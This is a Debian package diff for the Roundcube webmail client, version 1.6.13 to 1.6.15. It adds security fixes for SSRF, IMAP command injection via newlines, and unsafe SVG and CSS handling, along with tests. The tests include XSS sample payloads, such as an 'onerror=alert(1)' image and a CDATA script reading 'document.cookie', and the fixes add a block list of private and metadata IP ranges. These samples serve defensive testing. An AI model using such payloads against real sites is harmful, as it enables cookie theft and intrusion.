-@@ -590,7 +595,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -615,7 +620,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
          $html = "<img style='position:fixed' /><img style=\"position:/**/ 
fixed; top:10px\" />";
          $exp  = "<img style=\"position: absolute\" /><img style=\"position: 
absolute; top: 10px\" />";
  
@@ -11057,7 +11047,7 @@
          $washed = $washer->wash($html);
  
          $this->assertTrue(strpos($washed, $exp) !== false, "Position:fixed 
(#5264)");
-@@ -634,7 +639,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -659,7 +664,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
                  <annotation encoding="TeX">I_D = \frac{1}{2} k_n \frac{W}{L} 
(V_{GS}-V_t)^2</annotation>
              </semantics></math>';
  
@@ -11066,7 +11056,7 @@
          $washed = $washer->wash($mathml);
  
          // remove whitespace between tags
-@@ -651,7 +656,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -676,7 +681,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
      {
          $html = "<input type=\"image\" src=\"http://TRACKING_URL/\";>";
  
@@ -11075,7 +11065,7 @@
          $washed = $washer->wash($html);
  
          $this->assertTrue($washer->extlinks);
-@@ -659,7 +664,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -684,7 +689,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
  
          $html = "<video src=\"http://TRACKING_URL/\";>";
  
@@ -11084,7 +11074,7 @@
          $washed = $washer->wash($html);
  
          $this->assertTrue($washer->extlinks);
-@@ -680,14 +685,14 @@ class Framework_Washtml extends 
PHPUnit\Framework\TestCase
+@@ -705,14 +710,14 @@ class Framework_Washtml extends 
PHPUnit\Framework\TestCase
          ];
  
          foreach ($html as $item) {
@@ -11101,7 +11091,7 @@
              $washed = $washer->wash($item[0]);
  
              $this->assertFalse($washer->extlinks);
-@@ -698,7 +703,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -723,7 +728,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
      {
          $html = '<textarea><p style="x:</textarea><img src=x 
onerror=alert(1)>">';
  
@@ -11110,7 +11100,7 @@
          $washed = $washer->wash($html);
  
          $this->assertStringNotContainsString('onerror=alert(1)>', $washed);
-@@ -710,7 +715,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -735,7 +740,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
       */
      function test_css_prefix()
      {
@@ -11119,7 +11109,7 @@
  
          $html   = '<p id="my-id">'
              . '<label for="my-other-id" class="my-class1 
my-class2">test</label>'
-@@ -738,14 +743,14 @@ class Framework_Washtml extends 
PHPUnit\Framework\TestCase
+@@ -763,14 +768,14 @@ class Framework_Washtml extends 
PHPUnit\Framework\TestCase
      {
          $html = '<p><?xml:namespace prefix = "xsl" /></p>';
  
@@ -11136,7 +11126,7 @@
          $washed = $this->cleanupResult($washer->wash($html));
  
          $this->assertSame($washed, 'HTML');
-@@ -756,7 +761,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -781,7 +786,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
       */
      function test_missing_tags()
      {
@@ -11145,7 +11135,7 @@
  
          $html   = '<head></head>First line<br />Second line';
          $washed = $washer->wash($html);
-@@ -798,7 +803,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -823,7 +828,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
      {
          $html = '<p><![CDATA[<script>alert(document.cookie)</script>]]></p>';
  
@@ -11154,7 +11144,7 @@
          $washed = $washer->wash($html);
  
          $this->assertTrue(strpos($washed, '<script>') === false, "CDATA 
content");
-@@ -810,7 +815,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -835,7 +840,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
      function test_resolve_base()
      {
          $html = file_get_contents(TESTS_DIR . 'src/htmlbase.txt');
@@ -11163,7 +11153,7 @@
  
          
$this->assertMatchesRegularExpression('|src="http://alec\.pl/dir/img1\.gif";|', 
$html, "URI base resolving [1]");
          
$this->assertMatchesRegularExpression('|src="http://alec\.pl/dir/img2\.gif";|', 
$html, "URI base resolving [2]");
-@@ -856,7 +861,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -881,7 +886,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
    <tr><td></td></tr>
  </table>';
  
diff -Nru roundcube-1.6.13+dfsg/debian/patches/fix-install-path.patch 
roundcube-1.6.15+dfsg/debian/patches/fix-install-path.patch
--- roundcube-1.6.13+dfsg/debian/patches/fix-install-path.patch 2026-02-11 
10:55:46.000000000 +0100
+++ roundcube-1.6.15+dfsg/debian/patches/fix-install-path.patch 2026-03-30 
13:40:22.000000000 +0200
@@ -218,10 +218,10 @@
  require INSTALL_PATH . 'program/include/iniset.php';
  
 diff --git a/program/include/iniset.php b/program/include/iniset.php
-index 6f9946e..c4ab39f 100644
+index 106f6d0..4dc4937 100644
 --- a/program/include/iniset.php
 +++ b/program/include/iniset.php
-@@ -28,7 +28,7 @@ define('RCMAIL_VERSION', '1.6-git');
+@@ -30,7 +30,7 @@ define('RCMAIL_VERSION', '1.6-git');
  define('RCMAIL_START', microtime(true));
  
  if (!defined('INSTALL_PATH')) {
diff -Nru roundcube-1.6.13+dfsg/debian/patches/map-sqlite3-to-sqlite.patch 
roundcube-1.6.15+dfsg/debian/patches/map-sqlite3-to-sqlite.patch
--- roundcube-1.6.13+dfsg/debian/patches/map-sqlite3-to-sqlite.patch    
2026-02-11 10:55:46.000000000 +0100
+++ roundcube-1.6.15+dfsg/debian/patches/map-sqlite3-to-sqlite.patch    
2026-03-30 13:40:22.000000000 +0200
@@ -9,7 +9,7 @@
  1 file changed, 1 insertion(+)
 
 diff --git a/program/lib/Roundcube/rcube_db.php 
b/program/lib/Roundcube/rcube_db.php
-index 7384c98..e2fbe1a 100644
+index 3d38577..7955a92 100644
 --- a/program/lib/Roundcube/rcube_db.php
 +++ b/program/lib/Roundcube/rcube_db.php
 @@ -81,6 +81,7 @@ class rcube_db
diff -Nru roundcube-1.6.13+dfsg/debian/patches/series 
roundcube-1.6.15+dfsg/debian/patches/series
--- roundcube-1.6.13+dfsg/debian/patches/series 2026-02-11 10:55:46.000000000 
+0100
+++ roundcube-1.6.15+dfsg/debian/patches/series 2026-03-30 13:40:22.000000000 
+0200
@@ -20,3 +20,4 @@
 Free-enchant-dictionary-resources.patch
 Fix-FTBFS-with-phpunit-11.patch
 Fix-flaky-test.patch
+Avoid-dependency-on-new-package-mlocati-ip-lib.patch
diff -Nru roundcube-1.6.13+dfsg/debian/patches/update-composer.patch 
roundcube-1.6.15+dfsg/debian/patches/update-composer.patch
--- roundcube-1.6.13+dfsg/debian/patches/update-composer.patch  2026-02-11 
10:55:46.000000000 +0100
+++ roundcube-1.6.15+dfsg/debian/patches/update-composer.patch  2026-03-30 
13:40:22.000000000 +0200
@@ -14,14 +14,14 @@
 Last-Update: 2021-07-06
 Bug-Debian: https://bugs.debian.org/817792
 ---
- composer.json-dist | 25 ++++++++++++-------------
- 1 file changed, 12 insertions(+), 13 deletions(-)
+ composer.json-dist | 27 +++++++++++++--------------
+ 1 file changed, 13 insertions(+), 14 deletions(-)
 
 diff --git a/composer.json-dist b/composer.json-dist
-index c8cf3f7..ca3de26 100644
+index b9140e3..1807004 100644
 --- a/composer.json-dist
 +++ b/composer.json-dist
-@@ -10,24 +10,23 @@
+@@ -10,25 +10,24 @@
      ],
      "require": {
          "php": ">=7.3.0",
@@ -35,14 +35,16 @@
 -        "roundcube/rtf-html-php": "~2.1",
 -        "masterminds/html5": "~2.7.0",
 -        "bacon/bacon-qr-code": "^2.0.0",
--        "guzzlehttp/guzzle": "^7.3.0"
+-        "guzzlehttp/guzzle": "^7.3.0",
+-        "mlocati/ip-lib": "^1.22.0"
 +        "pear-pear.php.net/auth_sasl": ">=1.1.0",
 +        "pear-pear.php.net/mail_mime": ">=1.10.0",
 +        "pear-pear.php.net/net_smtp": ">=1.10.0",
 +        "pear-pear.php.net/net_sieve": ">=1.4.5",
 +        "roundcube/plugin-installer": ">=0.3.1",
 +        "masterminds/html5": ">=2.7.0",
-+        "guzzlehttp/guzzle": ">=7.3.0"
++        "guzzlehttp/guzzle": ">=7.3.0",
++        "mlocati/ip-lib": ">=1.22.0"
      },
      "require-dev": {
          "phpunit/phpunit": "^9"
diff -Nru roundcube-1.6.13+dfsg/plugins/password/password.php 
roundcube-1.6.15+dfsg/plugins/password/password.php
--- roundcube-1.6.13+dfsg/plugins/password/password.php 2026-02-08 
10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/plugins/password/password.php 2026-03-29 
11:45:29.000000000 +0200
@@ -333,10 +333,10 @@
         else {
             switch ($type) {
             case PASSWORD_COMPARE_CURRENT:
-                $result = $curpwd != $newpwd ? 
$this->gettext('passwordincorrect') : null;
+                $result = $curpwd !== $newpwd ? 
$this->gettext('passwordincorrect') : null;
                 break;
             case PASSWORD_COMPARE_NEW:
-                $result = $curpwd == $newpwd ? $this->gettext('samepasswd') : 
null;
+                $result = $curpwd === $newpwd ? $this->gettext('samepasswd') : 
null;
                 break;
             default:
                 $result = $this->gettext('internalerror');
diff -Nru roundcube-1.6.13+dfsg/program/actions/mail/index.php 
roundcube-1.6.15+dfsg/program/actions/mail/index.php
--- roundcube-1.6.13+dfsg/program/actions/mail/index.php        2026-02-08 
10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/program/actions/mail/index.php        2026-03-29 
11:45:29.000000000 +0200
@@ -1274,7 +1274,7 @@
         if (isset($attrib['href'])) {
             $attrib['href'] = preg_replace('/[\x00-\x1F]/', '', 
$attrib['href']);
 
-            if ($tag == 'link' && preg_match('/^https?:\/\//i', 
$attrib['href'])) {
+            if ($tag == 'link' && preg_match('/^https?:\/\//i', 
$attrib['href']) && !rcube_utils::is_local_url($attrib['href'])) {
                 $tempurl = 'tmp-' . md5($attrib['href']) . '.css';
                 $_SESSION['modcssurls'][$tempurl] = $attrib['href'];
                 $attrib['href'] = $rcmail->url([
diff -Nru roundcube-1.6.13+dfsg/program/actions/mail/search.php 
roundcube-1.6.15+dfsg/program/actions/mail/search.php
--- roundcube-1.6.13+dfsg/program/actions/mail/search.php       2026-02-08 
10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/program/actions/mail/search.php       2026-03-29 
11:45:29.000000000 +0200
@@ -56,6 +56,10 @@
         // add list filter string
         $search_str = $filter && $filter != 'ALL' ? $filter : '';
 
+        // We pass the filter as-is into IMAP SEARCH command. A newline could 
be used
+        // to inject extra commands, so we remove these.
+        $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
+
         if ($search_interval = self::search_interval_criteria($interval)) {
             $search_str .= ' ' . $search_interval;
         }
diff -Nru roundcube-1.6.13+dfsg/program/actions/mail/send.php 
roundcube-1.6.15+dfsg/program/actions/mail/send.php
--- roundcube-1.6.13+dfsg/program/actions/mail/send.php 2026-02-08 
10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/program/actions/mail/send.php 2026-03-29 
11:45:29.000000000 +0200
@@ -281,6 +281,9 @@
         }
 
         if ($savedraft) {
+            // Sanitize the IMAP SEARCH input
+            $message_id = preg_replace('/[\r\n]+/', '', $message_id);
+
             // remember new draft-uid ($saved could be an UID or true/false 
here)
             if ($saved && is_bool($saved)) {
                 $index = $rcmail->storage->search_once($drafts_mbox, 'HEADER 
Message-ID ' . $message_id);
diff -Nru roundcube-1.6.13+dfsg/program/actions/utils/modcss.php 
roundcube-1.6.15+dfsg/program/actions/utils/modcss.php
--- roundcube-1.6.13+dfsg/program/actions/utils/modcss.php      2026-02-08 
10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/program/actions/utils/modcss.php      2026-03-29 
11:45:29.000000000 +0200
@@ -47,7 +47,7 @@
         $ctype  = null;
 
         try {
-            $client   = rcube::get_instance()->get_http_client();
+            $client = 
rcube::get_instance()->get_http_client(['allow_redirects' => false]);
             $response = $client->get($realurl);
 
             if (!empty($response)) {
diff -Nru roundcube-1.6.13+dfsg/program/include/iniset.php 
roundcube-1.6.15+dfsg/program/include/iniset.php
--- roundcube-1.6.13+dfsg/program/include/iniset.php    2026-02-08 
10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/program/include/iniset.php    2026-03-29 
11:45:29.000000000 +0200
@@ -1,6 +1,8 @@
 <?php
 
-/**
+use GuzzleHttp\Cookie\FileCookieJar;
+
+/*
  +-----------------------------------------------------------------------+
  | This file is part of the Roundcube Webmail client                     |
  |                                                                       |
@@ -80,6 +82,13 @@
 // register autoloader for rcmail app classes
 spl_autoload_register('rcmail_autoload');
 
+// disable use of dangerous dependencies
+spl_autoload_register(static function ($classname) {
+    if ($classname === FileCookieJar::class) {
+        throw new \Exception("{$classname} is forbidden for security 
reasons.");
+    }
+}, true, true);
+
 /**
  * PHP5 autoloader routine for dynamic class loading
  */
diff -Nru roundcube-1.6.13+dfsg/program/include/rcmail_action.php 
roundcube-1.6.15+dfsg/program/include/rcmail_action.php
--- roundcube-1.6.13+dfsg/program/include/rcmail_action.php     2026-02-08 
10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/program/include/rcmail_action.php     2026-03-29 
11:45:29.000000000 +0200
@@ -691,6 +691,9 @@
             header('Content-Type: ' . $file['mimetype']);
             header('Content-Length: ' . $file['size']);
 
+            // Use strict security policy to make sure no javascript is 
executed
+            header("Content-Security-Policy: script-src 'none'");
+
             if (isset($file['data']) && is_string($file['data'])) {
                 echo $file['data'];
             }
diff -Nru roundcube-1.6.13+dfsg/program/lib/Roundcube/db/mysql.php 
roundcube-1.6.15+dfsg/program/lib/Roundcube/db/mysql.php
--- roundcube-1.6.13+dfsg/program/lib/Roundcube/db/mysql.php    2026-02-08 
10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/program/lib/Roundcube/db/mysql.php    2026-03-29 
11:45:29.000000000 +0200
@@ -70,6 +70,11 @@
         }
 
         if (isset($dsn['hostspec'])) {
+            // Use IPv6 address in brackets
+            if (strpos($dsn['hostspec'], ':') !== false) {
+                $dsn['hostspec'] = '[' . $dsn['hostspec'] . ']';
+            }
+
             $params[] = 'host=' . $dsn['hostspec'];
         }
 
diff -Nru roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_db.php 
roundcube-1.6.15+dfsg/program/lib/Roundcube/rcube_db.php
--- roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_db.php    2026-02-08 
10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/program/lib/Roundcube/rcube_db.php    2026-03-29 
11:45:29.000000000 +0200
@@ -1323,9 +1323,9 @@
         }
 
         if ($parsed['protocol'] == 'tcp' && strlen($proto_opts)) {
-            $parsed['hostspec'] = $proto_opts;
-        }
-        else if ($parsed['protocol'] == 'unix') {
+            // Remove IPv6 brakets
+            $parsed['hostspec'] = trim($proto_opts, '[]');
+        } elseif ($parsed['protocol'] == 'unix') {
             $parsed['socket'] = $proto_opts;
         }
 
diff -Nru roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_utils.php 
roundcube-1.6.15+dfsg/program/lib/Roundcube/rcube_utils.php
--- roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_utils.php 2026-02-08 
10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/program/lib/Roundcube/rcube_utils.php 2026-03-29 
11:45:29.000000000 +0200
@@ -1,6 +1,8 @@
 <?php
 
-/**
+use IPLib\Factory;
+
+/*
  +-----------------------------------------------------------------------+
  | This file is part of the Roundcube Webmail client                     |
  |                                                                       |
@@ -420,6 +422,48 @@
     }
 
     /**
+     * Check if an URL point to a local network location.
+     *
+     * @param string $url
+     *
+     * @return bool
+     */
+    public static function is_local_url($url)
+    {
+        $host = parse_url($url, \PHP_URL_HOST);
+
+        if (is_string($host)) {
+            // TODO: This is pretty fast, but a single message can contain 
multiple links
+            // to the same target, maybe we should do some in-memory caching.
+            if ($address = Factory::parseAddressString($host = trim($host, 
'[]'))) {
+                $nets = [
+                    '127.0.0.0/8',    // loopback
+                    '10.0.0.0/8',     // RFC1918
+                    '172.16.0.0/12',  // RFC1918
+                    '192.168.0.0/16', // RFC1918
+                    '169.254.0.0/16', // link-local / cloud metadata
+                    '::1/128',
+                    'fc00::/7',
+                ];
+
+                foreach ($nets as $net) {
+                    $range = Factory::parseRangeString($net);
+                    if ($range->contains($address)) {
+                        return true;
+                    }
+                }
+
+                return false;
+            }
+
+            // FIXME: Should we accept any non-fqdn hostnames?
+            return (bool) preg_match('/^localhost(\.localdomain)?$/i', $host);
+        }
+
+        return false;
+    }
+
+    /**
      * Replace all css definitions with #container [def]
      * and remove css-inlined scripting, make position style safe
      *
@@ -558,7 +602,7 @@
             if ($property == 'page') {
                 // Remove 'page' attributes (#7604)
                 continue;
-            } elseif ($property == 'position' && strcasecmp($value, 'fixed') 
=== 0) {
+            } elseif ($property == 'position' && stripos($value, 'fixed') !== 
false) {
                 // Convert position:fixed to position:absolute (#5264)
                 $value = 'absolute';
             } elseif (preg_match('/expression|image-set/i', $value)) {
diff -Nru roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_washtml.php 
roundcube-1.6.15+dfsg/program/lib/Roundcube/rcube_washtml.php
--- roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_washtml.php       
2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/program/lib/Roundcube/rcube_washtml.php       
2026-03-29 11:45:29.000000000 +0200
@@ -393,7 +393,7 @@
         }
 
         if (preg_match('/^(http|https|ftp):.+/i', $uri)) {
-            if (!empty($this->config['allow_remote'])) {
+            if (!empty($this->config['allow_remote']) || 
rcube_utils::is_local_url($uri)) {
                 return $uri;
             }
 
@@ -427,6 +427,11 @@
                 return 'data:image/' . $type . ',' . base64_encode($svg);
             }
 
+            // At this point we allow only valid base64 images
+            if (stripos($type, 'base64') === false || 
preg_match('|[^0-9a-z\s/+=]|i', $matches[2])) {
+                return '';
+            }
+
             return $uri;
         }
     }
@@ -504,22 +509,22 @@
      * Do it in case-insensitive manner.
      *
      * @param DOMElement $node       The element
-     * @param string     $attr_name  The attribute name
-     * @param string     $attr_value The attribute value to find
+     * @param string     $attr_value The attribute value to find (regexp)
      *
      * @return bool True if the specified attribute exists and has the 
expected value
      */
     private static function attribute_value($node, $attr_name, $attr_value)
     {
         $attr_name = strtolower($attr_name);
-        $attr_value = strtolower($attr_value);
 
         foreach ($node->attributes as $name => $attr) {
             if (strtolower($name) === $attr_name) {
+                $val = trim($attr->nodeValue);
                 // Read the attribute name, remove the namespace (e.g. 
xlink:href => href)
-                $val = strtolower(trim($attr->nodeValue));
-                $val = trim(preg_replace('/^.*:/', '', $val));
-                if ($attr_value === $val) {
+                if ($attr_name === 'attributename') {
+                    $val = trim(preg_replace('/^.*:/', '', $val));
+                }
+                if (preg_match($attr_value, $val)) {
                     return true;
                 }
             }
@@ -529,6 +534,28 @@
     }
 
     /**
+     * Check if the node is an insecure element
+     *
+     * @param \DOMElement $node
+     */
+    private static function is_insecure_tag($node)
+    {
+        $tagName = strtolower($node->nodeName);
+
+        if (!in_array($tagName, ['animate', 'animatecolor', 'set', 
'animatetransform'])) {
+            return false;
+        }
+
+        if (self::attribute_value($node, 'attributeName', '/^href$/i')) {
+            return true;
+        }
+
+        $rx = 
'/^(mask|cursor|fill|filter|stroke|clip-path|marker-start|marker-end|marker-mid)$/i';
+        return self::attribute_value($node, 'attributeName', $rx)
+            && self::attribute_value($node, 'values', '/url\(/i');
+    }
+
+    /**
      * The main loop that recurse on a node tree.
      * It output only allowed tags with allowed attributes and allowed inline 
styles
      *
@@ -579,10 +606,9 @@
 
                     $node->setAttribute('href', (string) $uri);
                 }
-                else if (in_array($tagName, ['animate', 'animatecolor', 'set', 
'animatetransform'])
-                    && self::attribute_value($node, 'attributename', 'href')
-                ) {
+                else if (self::is_insecure_tag($node)) {
                     // Insecure svg tags
+                    // TODO: We really should use wash_attribs()/wash_uri() 
for these cases
                     if ($this->config['add_comments']) {
                         $dump .= "<!-- {$tagName} blocked -->";
                     }
diff -Nru roundcube-1.6.13+dfsg/program/localization/lv_LV/messages.inc 
roundcube-1.6.15+dfsg/program/localization/lv_LV/messages.inc
--- roundcube-1.6.13+dfsg/program/localization/lv_LV/messages.inc       
2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/program/localization/lv_LV/messages.inc       
2026-03-29 11:45:29.000000000 +0200
@@ -17,7 +17,7 @@
 $messages['errortitle']  = 'Radās kļūda!';
 $messages['loginfailed']  = 'Pieslēgties neizdevās';
 $messages['cookiesdisabled'] = 'Jūsu pārlūkprogramma neatbalsta sīkdatnes 
(cookies)';
-$messages['sessionerror'] = 'Jūsu sessija ir beigusies.';
+$messages['sessionerror'] = 'Jūsu sesija ir beigusies.';
 $messages['cookiesmismatch'] = 'Konstatēta sīkfailu neatbilstība. Lūdzu, 
notīriet Jūsu interneta pārlūkprogrammas sīkfailus.';
 $messages['storageerror'] = 'Neizdevās pieslēgties IMAP serverim';
 $messages['servererror'] = 'Servera kļūda!';
@@ -217,9 +217,9 @@
 $messages['errrequestcheckfailed'] = 'Pieprasījuma pārbaude neizdevās.';
 $messages['errcsrfprotectionexplain'] = "Jūsu drošībai pieeja šim resursam ir 
aizsargāta pret vairāku vietņu pieprasījuma viltošanu (CSRF ).\nJa Jūs redzat 
šo ziņojumu, iespējams Jūs iepriekš nebijāt izgājuši ārā no šī e-pasta 
pārlūka.\n\nLai turpinātu, ir nepieciešams veikt lietotāja darbības.";
 $messages['errcontactserveradmin'] = 'Lūdzu kontaktējieties ar servera 
administratoru.';
-$messages['clicktoresumesession'] = 'Lai atjaunotu Jūsu iepriekšējo sessiju, 
spiest šeit.';
-$messages['errcomposesession'] = 'Rakstot vēstuli radās autorizācijas sessijas 
kļūda';
-$messages['errcomposesessionexplain'] = 'Pieprasītā sessija, vēstules 
rakstīšanai, netika atrasta.';
+$messages['clicktoresumesession'] = 'Lai atjaunotu Jūsu iepriekšējo sesiju, 
spiest šeit.';
+$messages['errcomposesession'] = 'Rakstot vēstuli radās autorizācijas sesijas 
kļūda';
+$messages['errcomposesessionexplain'] = 'Pieprasītā sesija, vēstules 
rakstīšanai, netika atrasta.';
 $messages['clicktocompose'] = 'Lai rakstītu jaunu vēstuli, spiest šeit';
 $messages['nosupporterror'] = 'Šī iespēja Jūsu interneta pārlūkā nav 
atbalstīta.';
 $messages['siginserted'] = 'Paraksts ievietots veiksmīgi.';
diff -Nru roundcube-1.6.13+dfsg/public_html/plugins/password/password.php 
roundcube-1.6.15+dfsg/public_html/plugins/password/password.php
--- roundcube-1.6.13+dfsg/public_html/plugins/password/password.php     
2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/public_html/plugins/password/password.php     
2026-03-29 11:45:29.000000000 +0200
@@ -333,10 +333,10 @@
         else {
             switch ($type) {
             case PASSWORD_COMPARE_CURRENT:
-                $result = $curpwd != $newpwd ? 
$this->gettext('passwordincorrect') : null;
+                $result = $curpwd !== $newpwd ? 
$this->gettext('passwordincorrect') : null;
                 break;
             case PASSWORD_COMPARE_NEW:
-                $result = $curpwd == $newpwd ? $this->gettext('samepasswd') : 
null;
+                $result = $curpwd === $newpwd ? $this->gettext('samepasswd') : 
null;
                 break;
             default:
                 $result = $this->gettext('internalerror');
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/DBMysql.php 
roundcube-1.6.15+dfsg/tests/Framework/DBMysql.php
--- roundcube-1.6.13+dfsg/tests/Framework/DBMysql.php   2026-02-08 
10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/tests/Framework/DBMysql.php   2026-03-29 
11:45:29.000000000 +0200
@@ -9,14 +9,16 @@
  */
 class Framework_DBMysql extends PHPUnit\Framework\TestCase
 {
-
-    /**
-     * Class constructor
-     */
-    function test_class()
+    public function test_dsn_string()
     {
-        $object = new rcube_db_mysql('test');
+        $db = new \rcube_db_mysql('test');
+
+        $result = $db->parse_dsn('mysql://user:pass@[fd00:3::11]:3306/test');
+        $dsn = invokeMethod($db, 'dsn_string', [$result]);
+        
$this->assertSame('mysql:dbname=test;host=[fd00:3::11];port=3306;charset=utf8mb4',
 $dsn);
 
-        $this->assertInstanceOf('rcube_db_mysql', $object, "Class 
constructor");
+        $result = $db->parse_dsn('mysql://user:pass@[::1]/test');
+        $dsn = invokeMethod($db, 'dsn_string', [$result]);
+        $this->assertSame('mysql:dbname=test;host=[::1];charset=utf8mb4', 
$dsn);
     }
 }
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/DBPgsql.php 
roundcube-1.6.15+dfsg/tests/Framework/DBPgsql.php
--- roundcube-1.6.13+dfsg/tests/Framework/DBPgsql.php   2026-02-08 
10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/tests/Framework/DBPgsql.php   2026-03-29 
11:45:29.000000000 +0200
@@ -90,5 +90,13 @@
         $dsn = 
$db->parse_dsn("pgsql://user@unix(/var/run/postgresql)/roundcubemail?sslmode=verify-full");
         $result = invokeMethod($db, 'dsn_string', [$dsn]);
         
$this->assertSame("pgsql:host=/var/run/postgresql;dbname=roundcubemail;sslmode=verify-full",
 $result);
+
+        $result = $db->parse_dsn('pgsql://user:pass@[fd00:3::11]:5432/test');
+        $dsn = invokeMethod($db, 'dsn_string', [$result]);
+        $this->assertSame('pgsql:host=fd00:3::11;port=5432;dbname=test', $dsn);
+
+        $result = $db->parse_dsn('pgsql://user:pass@[::1]/test');
+        $dsn = invokeMethod($db, 'dsn_string', [$result]);
+        $this->assertSame('pgsql:host=::1;dbname=test', $dsn);
     }
 }
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/DB.php 
roundcube-1.6.15+dfsg/tests/Framework/DB.php
--- roundcube-1.6.13+dfsg/tests/Framework/DB.php        2026-02-08 
10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/tests/Framework/DB.php        2026-03-29 
11:45:29.000000000 +0200
@@ -199,7 +199,7 @@
         $this->assertSame('mysql', $result['phptype']);
         $this->assertSame('user', $result['username']);
         $this->assertSame('pass', $result['password']);
-        $this->assertSame('[fd00:3::11]', $result['hostspec']);
+        $this->assertSame('fd00:3::11', $result['hostspec']);
         $this->assertSame('3306', $result['port']);
         $this->assertSame('roundcubemail', $result['database']);
 
@@ -208,7 +208,7 @@
         $this->assertSame('mysql', $result['phptype']);
         $this->assertSame('user', $result['username']);
         $this->assertSame('pass', $result['password']);
-        $this->assertSame('[::1]', $result['hostspec']);
+        $this->assertSame('::1', $result['hostspec']);
         $this->assertTrue(!array_key_exists('port', $result));
         $this->assertSame('roundcubemail', $result['database']);
 
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/Utils.php 
roundcube-1.6.15+dfsg/tests/Framework/Utils.php
--- roundcube-1.6.13+dfsg/tests/Framework/Utils.php     2026-02-08 
10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/tests/Framework/Utils.php     2026-03-29 
11:45:29.000000000 +0200
@@ -280,6 +280,9 @@
         $mod = \rcube_utils::mod_css_styles('.test { position: fixed; top: 
0;', 'rcmbody');
         $this->assertSame('#rcmbody .test { position: absolute; top: 0; }', 
$mod, 'Replace position:fixed with position:absolute (6)');
 
+        $mod = \rcube_utils::mod_css_styles('.test { position: fixed 
!important; }', 'rcmbody');
+        $this->assertSame('#rcmbody .test { position: absolute; }', $mod, 
'Replace position:fixed with position:absolute (7)');
+
         // allow data URIs with images (#5580)
         $mod = rcube_utils::mod_css_styles("body { background-image: 
url(data:image/png;base64,123); }", 'rcmbody');
         $this->assertStringContainsString("#rcmbody { background-image: 
url(data:image/png;base64,123);", $mod, "Data URIs in url() allowed [1]");
@@ -554,6 +557,40 @@
     }
 
     /**
+     * Test is_local_url()
+     *
+     * @dataProvider provide_is_local_url_cases
+     */
+    #[DataProvider('provide_is_local_url_cases')]
+    public function test_is_local_url($input, $output)
+    {
+        $this->assertSame($output, \rcube_utils::is_local_url($input));
+    }
+
+    /**
+     * Test-Cases for is_local_url() test
+     */
+    public static function provide_is_local_url_cases(): iterable
+    {
+        return [
+            // Local hosts
+            ['https://127.0.0.1', true],
+            ['https://10.1.1.1', true],
+            ['https://172.16.0.1', true],
+            ['https://192.168.0.100', true],
+            ['https://169.254.0.200', true],
+            ['http://[fc00::1]', true],
+            ['ftp://[::1]:8080', true],
+            ['//127.0.0.1', true],
+            ['http://localhost', true],
+            ['http://localhost.localdomain', true],
+            // Non-local hosts
+            ['http://[2001:470::76:0:0:0:2]', false],
+            ['http://domain.tld', false],
+        ];
+    }
+
+    /**
      * rcube:utils::strtotime()
      */
     function test_strtotime()
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/Washtml.php 
roundcube-1.6.15+dfsg/tests/Framework/Washtml.php
--- roundcube-1.6.13+dfsg/tests/Framework/Washtml.php   2026-02-08 
10:25:02.000000000 +0100
+++ roundcube-1.6.15+dfsg/tests/Framework/Washtml.php   2026-03-29 
11:45:29.000000000 +0200
@@ -54,12 +54,12 @@
      */
     function test_data_image_with_newline()
     {
-        $html = "<p><img src=\"data:image/png;base64,12345\n\t67890\" /></p>";
+        $html = "<p><img src=\"data:image/png;base64,12345\n\t+/ABC=\" /></p>";
 
         $washer = new rcube_washtml;
         $washed = $washer->wash($html);
 
-        $this->assertSame("<p><img 
src=\"data:image/png;base64,12345\n\t67890\" /></p>", 
$this->cleanupResult($washed));
+        $this->assertSame("<p><img 
